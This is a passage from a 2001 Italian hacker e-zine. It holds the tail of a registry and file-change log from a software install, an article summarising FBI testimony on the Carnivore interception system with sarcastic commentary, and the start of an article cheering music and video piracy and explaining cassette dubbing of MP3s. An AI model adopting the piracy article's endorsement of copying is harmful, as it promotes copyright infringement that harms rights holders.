15 00 00 00 09 00 00 00 67 00 00 00 5B 00 00 00 |
........g...[...
45 00 00 00 2B 00 00 00 87 00 00 00 4B 00 00 00 |
E...+.......K...
70 00 00 00 53 00 00 00 99 00 00 00 91 00 00 00 |
p...S...........
AC 00 00 00 47 00 00 00 63 00 00 00 59 00 00 00 |
....G...c...Y...
69 00 00 00 C2 00 00 00 B2 00 00 00 36 00 00 00 |
i...........6...
48 00 00 00 80 00 00 00 96 00 00 00 3F 00 00 00 |
H...........?...
9A 00 00 00 40 00 00 00 AE 00 00 00 55 00 00 00 |
....@.......U...
84 00 00 00 13 00 00 00 61 00 00 00 B1 00 00 00 |
........a.......
50 00 00 00 9D 00 00 00 74 00 00 00 76 00 00 00 |
P.......t...v...
0F 00 00 00 58 00 00 00 89 00 00 00 9F 00 00 00 |
....X...........
8F 00 00 00 9B 00 00 00 83 00 00 00 20 00 00 00 |
............ ...
AA 00 00 00 97 00 00 00 4C 00 00 00 1F 00 00 00 |
........L.......
4D 00 00 00 4E 00 00 00 77 00 00 00 1B 00 00 00 |
M...N...w.......
9C 00 00 00 93 00 00 00 73 00 00 00 01 00 00 00 |
........s.......
8D 00 00 00 05 00 00 00 C6 00 00 00 35 00 00 00 |
............5...
62 00 00 00 92 00 00 00 2D 00 00 00 75 00 00 00 |
b.......-...u...
B8 00 00 00 A4 00 00 00 12 00 00 00 BE 00 00 00 |
................
4A 00 00 00 6D 00 00 00 6B 00 00 00 88 00 00 00 |
J...m...k.......
FF FF FF FF | ....

New value: Type: REG_BINARY Length: 804 byte(s)
2F 00 00 00 6B 00 00 00 88 00 00 00 02 00 00 00 |
/...k...........
3B 00 00 00 B5 00 00 00 1A 00 00 00 03 00 00 00 |
;...............
AD 00 00 00 B7 00 00 00 71 00 00 00 3C 00 00 00 |
........q...<...
5E 00 00 00 3D 00 00 00 34 00 00 00 33 00 00 00 |
^...=...4...3...
95 00 00 00 64 00 00 00 44 00 00 00 5F 00 00 00 |
....d...D..._...
51 00 00 00 52 00 00 00 00 00 00 00 A6 00 00 00 |
Q...R...........
A7 00 00 00 B0 00 00 00 A8 00 00 00 65 00 00 00 |
............e...
7E 00 00 00 6A 00 00 00 6C 00 00 00 0B 00 00 00 |
~...j...l.......
28 00 00 00 31 00 00 00 8E 00 00 00 BA 00 00 00 |
(...1...........
42 00 00 00 A2 00 00 00 0C 00 00 00 46 00 00 00 |
B...........F...
4F 00 00 00 43 00 00 00 B6 00 00 00 11 00 00 00 |
O...C...........
6E 00 00 00 0D 00 00 00 1D 00 00 00 8B 00 00 00 |
n...............
90 00 00 00 7A 00 00 00 94 00 00 00 8A 00 00 00 |
....z...........
7F 00 00 00 10 00 00 00 A9 00 00 00 7C 00 00 00 |
...........|...
A3 00 00 00 B9 00 00 00 22 00 00 00 26 00 00 00 |
........"...&...
2A 00 00 00 5C 00 00 00 56 00 00 00 7B 00 00 00 |
*...\...V...{...
30 00 00 00 37 00 00 00 3A 00 00 00 2C 00 00 00 |
0...7...:...,...
5A 00 00 00 3E 00 00 00 2E 00 00 00 06 00 00 00 |
Z...>...........
C7 00 00 00 86 00 00 00 41 00 00 00 16 00 00 00 |
........A.......
17 00 00 00 25 00 00 00 23 00 00 00 49 00 00 00 |
....%...#...I...
39 00 00 00 79 00 00 00 9E 00 00 00 27 00 00 00 |
9...y.......'...
5D 00 00 00 14 00 00 00 BC 00 00 00 8C 00 00 00 |
]...............
A0 00 00 00 18 00 00 00 68 00 00 00 BB 00 00 00 |
........h.......
C4 00 00 00 60 00 00 00 7D 00 00 00 0A 00 00 00 |
....`...}.......
B3 00 00 00 21 00 00 00 04 00 00 00 81 00 00 00 |
....!...........
C1 00 00 00 C0 00 00 00 A5 00 00 00 82 00 00 00 |
................
1C 00 00 00 07 00 00 00 98 00 00 00 24 00 00 00 |
............$...
6F 00 00 00 38 00 00 00 54 00 00 00 72 00 00 00 |
o...8...T...r...
A1 00 00 00 BD 00 00 00 0E 00 00 00 78 00 00 00 |
............x...
66 00 00 00 32 00 00 00 1E 00 00 00 08 00 00 00 |
f...2...........
B4 00 00 00 BF 00 00 00 C3 00 00 00 C5 00 00 00 |
................
85 00 00 00 AB 00 00 00 29 00 00 00 AF 00 00 00 |
........).......
57 00 00 00 19 00 00 00 15 00 00 00 09 00 00 00 |
W...............
67 00 00 00 5B 00 00 00 45 00 00 00 2B 00 00 00 |
g...[...E...+...
87 00 00 00 4B 00 00 00 70 00 00 00 53 00 00 00 |
....K...p...S...
99 00 00 00 91 00 00 00 AC 00 00 00 47 00 00 00 |
............G...
63 00 00 00 59 00 00 00 69 00 00 00 C2 00 00 00 |
c...Y...i.......
B2 00 00 00 36 00 00 00 48 00 00 00 80 00 00 00 |
....6...H.......
96 00 00 00 3F 00 00 00 9A 00 00 00 40 00 00 00 |
....?.......@...
AE 00 00 00 55 00 00 00 84 00 00 00 13 00 00 00 |
....U...........
61 00 00 00 B1 00 00 00 50 00 00 00 9D 00 00 00 |
a.......P.......
74 00 00 00 76 00 00 00 0F 00 00 00 58 00 00 00 |
t...v.......X...
89 00 00 00 9F 00 00 00 8F 00 00 00 9B 00 00 00 |
................
83 00 00 00 20 00 00 00 AA 00 00 00 97 00 00 00 | ....
...........
4C 00 00 00 1F 00 00 00 4D 00 00 00 4E 00 00 00 |
L.......M...N...
77 00 00 00 1B 00 00 00 9C 00 00 00 93 00 00 00 |
w...............
73 00 00 00 01 00 00 00 8D 00 00 00 05 00 00 00 |
s...............
C6 00 00 00 35 00 00 00 62 00 00 00 92 00 00 00 |
....5...b.......
2D 00 00 00 75 00 00 00 B8 00 00 00 A4 00 00 00 |
-...u...........
12 00 00 00 BE 00 00 00 4A 00 00 00 6D 00 00 00 |
........J...m...
FF FF FF FF | ....

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Streams\107\CabView
Old value: Type: REG_BINARY Length: 92 byte(s)
5C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF |
\...............
FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 |
................
00 00 00 00 00 02 00 00 A6 01 00 00 01 00 00 00 |
................
00 00 00 00 24 37 48 00 00 00 00 00 1E 00 00 00 |
....$7H.........
07 00 00 00 E0 FF 84 59 D4 28 CF 11 AE 66 08 00 |
.......Y.(...f..
2B 2E 12 62 01 00 00 00 07 00 00 00 |
+..b........

New value: Type: REG_BINARY Length: 92 byte(s)
5C 00 00 00 02 00 00 00 03 00 00 00 FF FF FF FF |
\...............
FF FF FF FF FF FF FF FF FF FF FF FF 58 00 00 00 |
............X...
58 00 00 00 B0 02 00 00 E1 01 00 00 01 00 00 00 |
X...............
00 00 00 00 5C 4A F7 BF 00 00 00 00 5E 16 E8 BF |
....\J......^...
06 00 00 00 F8 7A 3A 7F CA 9F 39 7F 80 DB 58 00 |
.....z:..9..X.
1E 9F 39 7F 01 00 00 00 07 00 00 00 |
..9........

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Streams\136\CabView
Old value: Type: REG_BINARY Length: 92 byte(s)
5C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF |
\...............
FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 |
................
00 00 00 00 00 02 00 00 A6 01 00 00 01 00 00 00 |
................
00 00 00 00 24 37 48 00 00 00 00 00 1E 00 00 00 |
....$7H.........
07 00 00 00 E0 FF 84 59 D4 28 CF 11 AE 66 08 00 |
.......Y.(...f..
2B 2E 12 62 01 00 00 00 07 00 00 00 |
+..b........

New value: Type: REG_BINARY Length: 92 byte(s)
5C 00 00 00 02 00 00 00 03 00 00 00 FF FF FF FF |
\...............
FF FF FF FF FF FF FF FF FF FF FF FF 58 00 00 00 |
............X...
58 00 00 00 B0 02 00 00 E1 01 00 00 01 00 00 00 |
X...............
00 00 00 00 00 00 00 00 00 00 00 00 1E 00 00 00 |
................
06 00 00 00 00 00 00 00 04 00 00 00 AC C8 58 00 |
..............X.
88 E2 B8 77 01 00 00 00 07 00 00 00 |
...w........

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Streams\47\CabView
Old value: Type: REG_BINARY Length: 92 byte(s)
5C 00 00 00 02 00 00 00 03 00 00 00 FF FF FF FF |
\...............
FF FF FF FF FF FF FF FF FF FF FF FF 42 00 00 00 |
............B...
42 00 00 00 5E 01 00 00 5D 01 00 00 01 00 00 00 |
B...^...].......
00 00 00 00 00 00 00 00 00 00 00 00 7F 04 00 00 |
...............
07 00 00 00 E0 FF 84 59 D4 28 CF 11 AE 66 08 00 |
.......Y.(...f..
2B 2E 12 62 01 00 00 00 07 00 00 00 |
+..b........

New value: Type: REG_BINARY Length: 92 byte(s)
5C 00 00 00 02 00 00 00 03 00 00 00 FF FF FF FF |
\...............
FF FF FF FF FF FF FF FF FF FF FF FF 42 00 00 00 |
............B...
42 00 00 00 5E 01 00 00 5D 01 00 00 01 00 00 00 |
B...^...].......
00 00 00 00 30 50 00 00 00 00 00 00 BE 28 F7 BF |
....0P.......(..
07 00 00 00 E0 FF 84 59 D4 28 CF 11 AE 66 08 00 |
.......Y.(...f..
2B 2E 12 62 01 00 00 00 07 00 00 00 |
+..b........

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{5E6AB780-7743-11CF-A12B-00AA004AE837}\Count\HRZR_HVGBBYONE
Old value: Type: REG_BINARY Length: 8 byte(s)
60 01 00 00 85 08 00 00 | `.......

New value: Type: REG_BINARY Length: 8 byte(s)
61 01 00 00 87 08 00 00 | a.......

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{5E6AB780-7743-11CF-A12B-00AA004AE837}\Count\HRZR_HVGBBYONE:0k1,120
Old value: Type: REG_BINARY Length: 8 byte(s)
60 01 00 00 F3 06 00 00 | `.......

New value: Type: REG_BINARY Length: 8 byte(s)
61 01 00 00 F4 06 00 00 | a.......

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{5E6AB780-7743-11CF-A12B-00AA004AE837}\Count\HRZR_HVGBBYONE:0k1,121
Old value: Type: REG_BINARY Length: 8 byte(s)
53 01 00 00 0D 00 00 00 | S.......

New value: Type: REG_BINARY Length: 8 byte(s)
61 01 00 00 09 00 00 00 | a.......

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{75048700-EF1F-11D0-9888-006097DEACF9}\Count\HRZR_HVDPHG
Old value: Type: REG_BINARY Length: 8 byte(s)
56 01 00 00 AC 0C 00 00 | V.......

New value: Type: REG_BINARY Length: 8 byte(s)
57 01 00 00 AD 0C 00 00 | W.......

--------------
Total positions: 24

New keys
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App
Paths\MProxy.exe\@
Value: String: "
C:\Programmi\MultiProxy\MProxy.exe"

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\ST6UNST
#1\ApplicationName
Value: String: "
MProxy.exe"

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\ST6UNST
#1\AppToUninstall
Value: String: "
MProxy.exe"

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\ST6UNST
#1\DisplayName
Value: String: "
MultiProxy"

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\ST6UNST
#1\UninstallString
Value: String: "
C:\WINDOWS\st6unst.exe -n
"C:\Programmi\MultiProxy\ST6UNST.LOG" "

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Shutdown\SetupProgramRan
Value: DWORD: 2 (0x2)

--------------
Total positions: 6


File list in C:\WINDOWS\*.*

Summary info:
Deleted files: 0
Modified files: 8
New files : 0


Modified files
powerpnt.ini
Old: Size: 60 , Date/Time: sabato 24 marzo 2001 20.46.24
New: Size: 60 , Date/Time: lunedì 26 marzo 2001 23.18.26

setup1.exe
Old: Size: 286 720 , Date/Time: martedì 05 dicembre 2000 19.29.32
New: Size: 249 856 , Date/Time: lunedì 26 marzo 2001 23.17.46

st6unst.exe
Old: Size: 73 216 , Date/Time: martedì 05 dicembre 2000 19.29.06
New: Size: 73 216 , Date/Time: lunedì 26 marzo 2001 23.17.14

system.dat
Old: Size: 5 464 096 , Date/Time: lunedì 26 marzo 2001 22.44.00
New: Size: 5 464 096 , Date/Time: lunedì 26 marzo 2001 23.18.42

system.ini
Old: Size: 1 948 , Date/Time: lunedì 26 marzo 2001 19.57.36
New: Size: 1 948 , Date/Time: lunedì 26 marzo 2001 23.18.26

user.dat
Old: Size: 745 504 , Date/Time: lunedì 26 marzo 2001 23.04.12
New: Size: 745 504 , Date/Time: lunedì 26 marzo 2001 23.18.42

wavemix.ini
Old: Size: 54 , Date/Time: sabato 24 marzo 2001 20.46.24
New: Size: 54 , Date/Time: lunedì 26 marzo 2001 23.18.26

win386.swp
Old: Size: 58 720 256 , Date/Time: lunedì 26 marzo 2001 23.06.22
New: Size: 79 691 776 , Date/Time: lunedì 26 marzo 2001 23.17.52

--------------
Total positions: 8


File list in C:\WINDOWS\SYSTEM\*.*

Summary info:
Deleted files: 0
Modified files: 2
New files : 0


Modified files
mswinsck.ocx
Old: Size: 108 336 , Date/Time: mercoledì 24 giugno 1998 00.00.00
New: Size: 109 248 , Date/Time: lunedì 22 maggio 2000 00.00.00

vb6stkit.dll
Old: Size: 102 912 , Date/Time: mercoledì 05 agosto 1998 00.00.00
New: Size: 101 888 , Date/Time: martedì 01 giugno 1999 00.00.00

--------------
Total positions: 2


win.ini report

Summary info:
Deleted keys: 0
Modified keys: 0
New keys : 0


system.ini report

Summary info:
Deleted keys: 0
Modified keys: 0
New keys : 0


c:\autoexec.bat report

unchanged


c:\config.sys report

unchanged

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [MISC] #02 - 18/06/2001 |
| CARNiV0RE DiAGN0STiC T00L ........................... [Screener_it] 0x17/0x25 |
+-------------------------------------------------------------------------------+

*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\

Autore: Screener_it
email: screener_it@freemail.it
URL: http://go.to/tankcommandos
DATA: 22/03/01

*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\

Le presenti informazioni sono facilmente recuperabili in Rete, anche sul sito dell'FBI.
Quindi su questo articolo non saranno dette cose sconosciute totalmente, ma verranno solo trattate argomentazioni sconosciute ai più.

*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\

Siamo davvero soli ? Il 6 settembre 2000 questa domanda ha avuto una risposta. La risposta è NO.
Il 6 settembre 2000 il signor Donald M. Kerr presentava al senato degli Stati Uniti d'America (USA) il programma Carnivore.
Con questa data anche la più piccola speranza di anonimimato in Rete è sparita.
Tra virgolette ( "
" ) saranno riportati passi del discorso pronunciato il 6 settembre.

E voi credevate che con Echelon finisse tutto..

*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\

"
Buongiorno , Mr Chairman e membri del comitato. Vi sono grato per l'oppportunità di poter parlare di Carnivor - un sistema designato specificamente per forzare la privacy e allo stesso tempo rispettare la legge.
Carnivore è un sistema che contiamo possa venirci in aiuto nei casi critici di combattimento al terrorismo, allo spionaggio, alla guerra d'informazioni, all'hacking ed altri crimini violenti che usano Internet, per difendere la nostra Nazione e la nostra gente.
Nel mio discorso toccherò principalmente 5 punti:

1.- Perchè abbiamo bisogno di un sistema come Carnivore
2.- Perchè il publico deve essere a conoscenza del fatto che Carnivore esista
3.- Come lavora Carnivore
4.- Perchè gli ISP non devono avere timore dell'uso di Carnivore
5.- Perchè il pubblico deve essere fiducioso che l'uso di Carnivore non lederà la loro privacy"

Credo che abbiate capito che cosa sia a grandi linee Carnivore. Un programma che una volta installato dai provider su richiesta (richiesta o obbligo ?) del FBI è in grado d'intercettare qualsiasi comunicazione.

In questi anni l'FBI è andata incontro a un largo numero di criminali che usavano Internet per comunicare tra di loro o per comunicare con le loro vittime.
Spesso però i provider di appartenenza di questi criminali non hanno gli strumenti necessari per intervenire salvaguardando la privacy degli altri utenti.
In parole povere possono controllare le e-mail, ma devono controllarle tutte, non hanno gli strumenti necessari per bloccare quelle che vengono da un determinato utente o da un determinato abbonamento.
Proprio per venire incontro a questi provider il laboratorio dell'FBI ha creato Carnivore.
Carnivore, ascoltando la definizione che ha l'FBI, ha una capacità "
chirurgica" di intercettare e loggare particolari comunicazioni che infrangono la legge, lasciando stare le altre, evitando così intercettazioni non autorizzate.

Carnivore lavora come molti degli "
sniffer" in circolazione e altri tool usati dagli ISP tutti giorni con la differenza però che ha la straordinaria capacità di distinguere tra comunicazioni che possono essere legalmente intercettate e quelle che non possono esserlo.
Ad esempio può (opportunamente configurato) intercettare solo un tipo di comunicazione (e-mail ad esempio) ed escludere le altre (es. shopping online) oppure può essere configurato per controllare solo le email che provengono o che vengono indirizzate a un particolare indirizzo.

"
1.- Perchè l'FBI ha bisogno di Carnivore ?

E' cosa risaputo che terroristi, spie, hacker [ma ci mettono sullo stesso piano ?] e altri pericolosi criminali usano sempre di più il computer e le reti, inclusa Internet, per portare a termine i loro piani criminali.
Carnivore è la nostra risposta , per salvaguardare la nostra Nazione, la popolazione americana [gli europei no, puzziamo troppo.. :)) ], la sicurezza delle nostre comunicazioni e la sicurezza dei privati e per una Internet più sana e sicura.
Per questo l'FBI concentra le sue forze, compresa la ricerca tecnologica, per combattere questi cyber criminali"

Faccio notare tutti la continua presenza della parola criminali associata a Internet..

"
2.- Perchè il publico deve essere a conoscenza del fatto che Carnivore esista"

Vi risparmio tutto il discorso, in quanto infarcito di riferimenti a leggi varie. Il discorso più che altro è legato al fatto che nonostante ci siano delle leggi in materia di Privacy anche in Internet, loro sono autorizzati a non rispettarle, se questo è utile alla protezione della sicurezza.
Il pubblico và informato del fatto che Carnivore esiste perchè così tutti sappiamo che possono farci il culo quando e come vogliono e che lo fanno in maniera completamente legale.. Bello, no ?

"
3.- Come lavora Carnivore e perchè l'FBI crede che sia più attendibile, preciso e tecnologicamente superiore degli sniffer commerciali ?


Carnivore è veramente un tool studiato per le intercettazioni telematiche.
Il programma è un filtro che l'FBI ha sviluppato con cura, precisione e rispettando la legge.
In particolare, il programma permette all'FBI, con la compiacenza della costituzione federale, le intercettazione telematiche di tutte le comunicazioni permettendo agli investigatori di acquisire il maggior numero di informazioni possibili sul bersaglio.

Carnivore è superiore a qualsiasi "sniffer" esistente in commercio che gli ISP usano ogni giorno sul loro network.
La concezione di intercettazioni con gli altri sniffer è molto chiusa e con essi viene infranta ogni possibile legge sulla privacy.
Non sono stati creati per le intercettazioni.

E' importante descrivere quando e come Carnivore lavora. E' importante spiegare cosa il programma mostra e, più importante, cosa non mostra agli agenti dell'FBI che lo usano.

Prima di tutto, Carnivore verrà usato solo quando l'FBI avrà il permesso della corte (o quando la legge lo consente) ad intercettare o ad acquisire informazioni sul criminale, come ad esempio il suo indirizzo, il suo numero account ec..
Secondo, quando un ISP può collaborare completamente con la corte [mostrare i log insomma] l'FBI non avrà la necessità di impiegare Carnivore.
Terzo, l'uso del programma può essere fatto solo con la collaborazione dei tecnici dell'ISP e l'FBI non può usarlo senza la loro cooperazione.
Quarto, una volta messo al lavoro Carnivore potrà analizzare solo il piccolo segmento di traffico del network che verrà usato dall'obbiettivo e dove le sue comunicazioni possono passare.
Il programma non può avere accesso di tipo "Grande Fratello", cioè non può controllare tutto il traffico dell'ISP. [dobbiamo crederci ?].

Per illustrare le funzionalità di Carnivore è importante capire che Carnivore filtra solo le informazioni che gli servono.
La sua prima operazione è filtrare una porzione della traffico dell'ISP.
Lo filtra in codice binario, una serie di 0 e 1 che scorre attraverso la rete dell'ISP, per esempo, a 40 megabit al secondo, spesso a una velocità maggiore.
Carnivore lavora in tempo reale con queste velocità. Per visualizzare meglio il concetto, provate a pensare a un enorme schermo che contiene 40 milioni di 0 e 1 che appaiono sullo schermo per 1 secondo e 1 secondo solo.
La prima operazione di Carnivore sarà quella di identificare se e quali di quegli 0 e 1 appartengono al criminale e a quale tipo di comunicazione appartengono (infatti se hanno il permesso di intercettare solo le email, non possono intercettare l'FTP).

Se trovato, il paccheto che contiene le informazione del soggetto in questione viene ulteriormente filtrato.
E' importante comunque ricordare che quei 40 milioni di 0 e 1 che non centrano nulla on il criminale in questione non vengono in alcun modo salvati, essi si vaporizzano dopo 1 secondo.
Puff, spariti, vaporizzati, non vengono collezionati, salvati o venduti.
Il personale dell'FBI non vedrà mai nessuno di questi 40 milioni di 0 e 1.
Se non ci sono informazioni del soggetto in questione in questo schermo si passerà allo schermo successivo che sarà trattato sempre con lo stesss sistema.

A questo le informazioni del soggetto sotto controllo passeranno ad un altro filtro, che controllerà di che siano queste informazioni e solo se appartengono al tipo di comunicazione di cui si ha l'autorizzazione di intercettazione. Solo ora, dopo che è stato filtrato tutto, gli addetti dell'FBI vedranno il risultato.

4.- Perchè gli ISP non devono avere timore dell'uso di Carnivore

Carnivore lavora solo su una piccola parte del server, ovvero la parte dove è possibile che passino i dati che riguardano il soggetto sotto osservazione (come già detto prima).
Carnivore è collegato al server attraverso un ponte fisico che gli impedisce di trasmettere dati di qualsiasi tipo al resto del network, quindi non ha potere di trasmettere dati o qualsiasi altra cosa al netowrk.

Ma Carnivore non è mai stato installato e non sarà mai installato senza l'autorizzazione del personale del personale del provider.
Internet è una rete molto complicata e in continua evoluzione e le assicuro che senza le conoscenze tecniche del personale dell'ISP sarebbe molto difficile, e in alcuni casi davvero impossibile, controllare il soggetto.
In più l'FBI non potrebbe lavorare senza le informazioni che danno i tecnici riguardo all'architettura e ai protocolli del server.

Qualcuno ha mossa la critica che Carnivore aumenterebbe le possibilità di essere vittime di hacking. Ma sbagliano.
Con rispetto per l'hacking e considerando le tecniche hacking più usate, non ci sono significativi aumenti di insicurezza nell'usare Carnivore.
In più dato che Carnivore è uno strumento dell'FBI usarlo come punto di accesso per altri network sarebbe da pazzi per il rischio che si corre [effettivamente farla in barba all'FBI sarebbe come consegnarsi in prigione..] e in più come detto precedentemente Carnivore non ha accesso al resto del network [può solo ricevere dati, non risponde]

In ultima c'è la faccenda che secondo un particolare ISP l'uso di Carnivore ha causato il crash del suo sistema e altri problemi nel network.
Ma queste dichiarazioni sono sbagliate. Prima di tutto la causa dei problemi del network (non ci fù crash) era semplicemente di natura tecnica e quindi di esclusiva competenza dei tecnici del network.
[bel modo di scaricare le colpe..]


5.- Perchè il pubblico deve essere fiducioso che l'uso di Carnivore non lederà la loro privacy

Crediamo che il popolo americano abbia fiducia nell'FBI per la sua condotta del controllo elettronico, principalmente perchè hanno capito che noi lavoriamo nel rispetto della legge, dopo che il congresso emanò la 40 anni fà la prima legge sulla sorveglianza elettronica nel 1968.
Molti dicono che i metodi dell'FBI sono illegali. E' sbagliato, non ci sono prove che lo dimostrino.
Ogni azione è autorizzata da un tribunale e l'FBI non ha mai abusato del suo potere.

Cominciamo col dire che tutte le investagazioni dell'FBI, ogni sorveglianza, ogni intercettazione, ogni perquisizione è autorizzata, monitorata e supervisionata per ogni passo dal locale studio legale e le corte legale o da un magistrato.

Ogni nostra azione è controllata e approvata da chi di competenza in quel campo e in quello stato.

Negli ultimi 30 anni le intercettazioni elettroniche dell'FBI sono state strettamente supervisionate dal dipartimento di giustizia e non ci sono mai stati absui. Anzi, il dipartimento di giustizia ha sempre indicato i nostri modelli come modelli di correttezza, cura e rispetto della legge nelle intercettazioni.

A questo punto può essere utile parlare del personale che utilizzerà Carnivore.

Cominciamo col dire che tutti gli impiegati dell'FBI sono persone che hanno dimostrato onestà, rispetto della legge, integrità personale.
Tutto questo può essere dimostrato con la loro condotta che ha portato all'attuale sicurezza nazionale e al livello investigativo.
Per essere sicuri la struttura dell'FBI fà crollare presto se gli agenti assunti si dimostrano non degni di fiducia o se non mantengono la riservatezza riguardo al loro impiego."

6 settembre 2000 - Donald M. Kerr

Questo è un sunto del discorso di Kerr, naturalmente non è una traduzione completa di ogni singolo passo, ma ho estratto le parti più importanti.
Spero comunque che questa lettura vi faccia capire che la possibilità di essere tracciati esiste sempre, non siete mai anonimi, posso sempre sapere chi siete.

Qualke link per sapere di più ?

www.fbi.gov --> Andate su Search e scrivete Carnivore.. Troverete molta roba
http://www.fbi.gov/congress/congress00/kerr090600.htm
http://www.fbi.gov/programs/carnivore/

*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\

Un saluto a tutti quelli del Tank Commandos, a Bismark.it [che mentre chiudo è chiuso x problemi con pedofilia], a quelli di Dirty Net, a quelli di irc.azzurra.it, agli U.TN.

*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [MISC] #02 - 18/06/2001 |
| PiRATERiA ViDE0 / MUSiCALE .......................... [Screener_it] 0x18/0x25 |
+-------------------------------------------------------------------------------+

Pirateria Video / Musicale
(ovvero: xkè limitarci ai soli CD ?)

*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\

Autore: Screener_it
email: screener_it@freemail.it
URL: www.tankcommandos.org
DATA: 26/12/00

*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\

Pirateria.. Parola grossa al giorno d'oggi.. Ormai siamo un po' tutti
pirati (mi raccomando: pirati, non hacker !!).
Doppiare CD e distribuire Mp3 è illegale.. Eppure tutti lo
fanno. Indi x cui siamo tutti pirati.
La legge italiana prevede il carcere x chi fa copie di CD e 300.000 L.
per chi li acquista.. Ma continuano a venderci masterizzatori e cd vergini.
Io compro 40 Cd vergini al mese, il negoziante ormai mi fa lo sconto.
E lo stato incassa l'IVA sui cd vergini che compro.. Strano !!
La Bsa fa pubblicità contro i software pirata, che viene poi sospesa xkè
ingannevole ( ??? ).
Tutto è strano. E allora finchè non avrò ben capito cosa devo fare del mio
masterizzatore ampio il mio repertorio di pirateria.

*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\
Una dedica ci vuole, dai !! Per favore..
Allora.. A Bakunin, MrWolf, Spyro, quelli di hackersonline (azzurra),
quelli di Phreak.it (tin.it), a BigAlex, a Corvo, a NetPhantom..
E a tutti quelli che mi conosco..
Una dedica & un grazie particolare a Syn^ che pubblica i miei
articoli su Dirty Net..
*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\

Ormai tutti sapete cosa ci vuole per doppiare un CD (Pc Cd-Rom, PSX,
musicale,... ). Ma xkè limitarci ai CD ? Il mercato non è unico, lo standard
è ancora lontano, le vecchie tecnologie continuano ad esistere, si fondono
con le nuove e creano nuovi metodi di pirateria.

Molti di noi (io x primo fino a poco tempo fa) siamo andati troppo avanti. Abbiamo
visto nei CD e nell' Mp3 il nuovo standard. Ci siamo sbagliati. Esiste la pluralità
di tecnologia. Le musicassette vanno ancora forte e compongono buona parte del
mercato. Le videocassette tradizionali ( VHS ) sono ancora diffuse, non credo
che il DVD le rimpiazzerà in fretta, se non nel giro di 6 o + anni.

La pirateria vecchio stile esiste ancora. Fondiamola con la nuova.

*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\
////////////Mc & Mp3\\\\\\\\\\\\
*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\*/*\

MC, ovvero le vecchie musicassette. Ormai non vanno + !! Palle !!
Sulle macchine spesso sono ancora montati i lettori per musicassette
(soprattutto nelle macchine di seconda mano che compriamo a 18 anni
per iniziare), le Api (i motocarri 50 cc con 3 ruote, per intederci),
che molti dei nostri amici guidano (almeno nelle mie zone) hanno solo
il lettore musicassette.

Ignoriamo questo tipo di mercato. Sbagliamo !! Molti di voi credono che
il metodo migliore per portare la musica da Mp3 a MC sia masterizzare un CD
e poi dal CD creare una musicassetta.
Sì, è un metodo !! Ma se il CD non vi serve ? Ad esempio se volete solo
mettere una canzone Mp3 su cassetta dovete per forza usare un CD !!
C'è un altro metodo ? Certo, altrimenti non ero qui a scrivere !!

MATERIALE OCCORRENTE:

1.- Computer con scheda audio e linea audio di output
(cioè un qualsiasi computer)
2.- Stereo con doppia piastra MC, per doppiare le cassette, e linea di input
3.- Un cavo (Grazie a Lorenzo M. per i nomi.):

jack piccolo
___
___ |----------|___|-- RCA1
--|___|------------| ___
|----------|___|-- RCA2

Insomma, quel cavo che trovate che parte dal reto del vostro computer
e arriva alle casse audio.. Se avete le casse collegate al computer, lo
avete di sicuro !!

PREPARAZIONE COLLEGAMENTO STEREO / PC

Allora.. Forse non sono stato nel punto 2 del materiale occorrente.
Avete capito tutti "
doppia piastra", ma non so quanti di voi abbiamo
capito "
linea di input" e abbiamo capito a cosa mi riferisco..
Quindi spendo un paio di caratteri in più per evitare di trovarmi
sommerso da email "
Non ho capito bene cosa sia la linea di input".
La linea di input è la linea che prende i dati, in qualsiasi apparecchio.
Nel nostro caso è quella che prende i dati audio da registrare e li passa
alla piastra di registrazione !!
